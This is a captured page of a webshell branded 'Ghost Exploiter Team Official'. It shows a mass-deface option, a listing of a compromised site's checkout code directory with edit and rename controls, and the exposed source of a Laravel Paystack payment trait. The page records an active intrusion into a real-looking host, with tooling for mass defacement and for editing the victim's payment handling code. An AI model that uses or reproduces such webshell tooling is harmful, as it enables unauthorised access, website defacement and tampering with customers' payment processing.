webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
app
/
Traits
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
383817
--
ren
BankCheckout.php
4.513KB
edt
ren
CashOnDeliveryCheckout.php
4.521KB
edt
ren
MollieCheckout.php
6.793KB
edt
ren
PaypalCheckout.php
9.044KB
edt
ren
PaystackCheckout.php
5.8KB
edt
ren
StripeCheckout.php
8.687KB
edt
ren
index.php
0KB
edt
ren
<?php namespace App\Traits; use App\{ Models\Setting, Models\PromoCode, Models\TrackOrder, Helpers\EmailHelper, Helpers\PriceHelper, Models\Notification, Models\PaymentSetting, }; use App\Helpers\SmsHelper; use App\Models\Item; use App\Models\Order; use App\Models\ShippingService; use App\Models\State; use Carbon\Carbon; use Illuminate\Support\Str; use Exception; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Session; use function GuzzleHttp\json_decode; trait PaystackCheckout { public function paystackSubmit($data){ $user = Auth::user(); $setting = Setting::first(); $cart = Session::get('cart'); $total_tax = 0; $cart_total = 0; $total = 0; $option_price = 0; foreach($cart as $key => $item){ $total += $item['main_price'] * $item['qty']; $option_price += $item['attribute_price']; $cart_total = $total + $option_price; $item = Item::findOrFail($key); if($item->tax){ $total_tax += $item::taxCalculate($item); } } if (!PriceHelper::Digital()) { $shipping = null; }else{ $shipping = ShippingService::findOrFail($data['shipping_id']); } $discount = []; if(Session::has('coupon')){ $discount = Session::get('coupon'); } if (!PriceHelper::Digital()){ $shipping = null; } $grand_total = ($cart_total + ($shipping?$shipping->price:0)) + $total_tax; $grand_total = $grand_total - ($discount ? $discount['discount'] : 0); $grand_total += PriceHelper::StatePrce($data['state_id'],$cart_total); $total_amount = PriceHelper::setConvertPrice($grand_total); $orderData['state'] = $data['state_id'] ? json_encode(State::findOrFail($data['state_id']),true) : null; $orderData['state_price'] = PriceHelper::StatePrce($data['state_id'],$cart_total); $orderData['cart'] = json_encode($cart,true); $orderData['discount'] = json_encode($discount,true); $orderData['shipping'] = json_encode($shipping,true); $orderData['tax'] = $total_tax; $orderData['shipping_info'] = json_encode(Session::get('shipping_address'),true); $orderData['billing_info'] = json_encode(Session::get('billing_address'),true); $orderData['payment_method'] = 'Paystack'; $orderData['user_id'] = isset($user) ? $user->id : 0; $orderData['transaction_number'] = Str::random(10); $orderData['currency_sign'] = PriceHelper::setCurrencySign(); $orderData['currency_value'] = PriceHelper::setCurrencyValue(); $orderData['order_status'] = 'Pending'; try{ $orderData['txnid'] = $data['ref_id']; $orderData['payment_status'] = 'Paid'; $order = Order::create($orderData); $new_txn = $new_txn = 'ORD-' . str_pad(Carbon::now()->format('Ymd'), 4, '0000', STR_PAD_LEFT) . '-' . $order->id; $order->transaction_number = $new_txn; $order->save(); PriceHelper::Transaction($order->id,$order->transaction_number,EmailHelper::getEmail(),PriceHelper::OrderTotal($order,'trns')); PriceHelper::LicenseQtyDecrese($cart); PriceHelper::LicenseQtyDecrese($cart); if(Session::has('copon')){ $code = PromoCode::find(Session::get('copon')['code']['id']); $code->no_of_times--; $code->update(); } TrackOrder::create([ 'title' => 'Pending', 'order_id' => $order->id, ]); Notification::create([ 'order_id' => $order->id ]); $emailData = [ 'to' => EmailHelper::getEmail(), 'type' => "Order", 'user_name' => isset($user) ? $user->displayName() : Session::get('billing_address')['bill_first_name'], 'order_cost' => $total_amount, 'transaction_number' => $order->transaction_number, 'site_title' => Setting::first()->title, ]; $email = new EmailHelper(); $email->sendTemplateMail($emailData); if($setting->is_twilio == 1){ // message $sms = new SmsHelper(); $user_number = json_decode($order->billing_info,true)['bill_phone']; if($user_number){ $sms->SendSms($user_number,"'purchase'",$order->transaction_number); } } if($discount){ $coupon_id = $discount['code']['id']; $get_coupon = PromoCode::findOrFail($coupon_id); $get_coupon->no_of_times -= 1; $get_coupon->update(); } Session::put('order_id',$order->id); Session::forget('cart'); Session::forget('discount'); Session::forget('coupon'); return [ 'status' => true ]; }catch (Exception $e){ return [ 'status' => false, 'message' => $e->getMessage() ]; }catch (Exception $e){ return [ 'status' => false, 'message' => $e->getMessage() ]; }catch (Exception $e){ return [ 'status' => false, 'message' => $e->getMessage() ]; } } }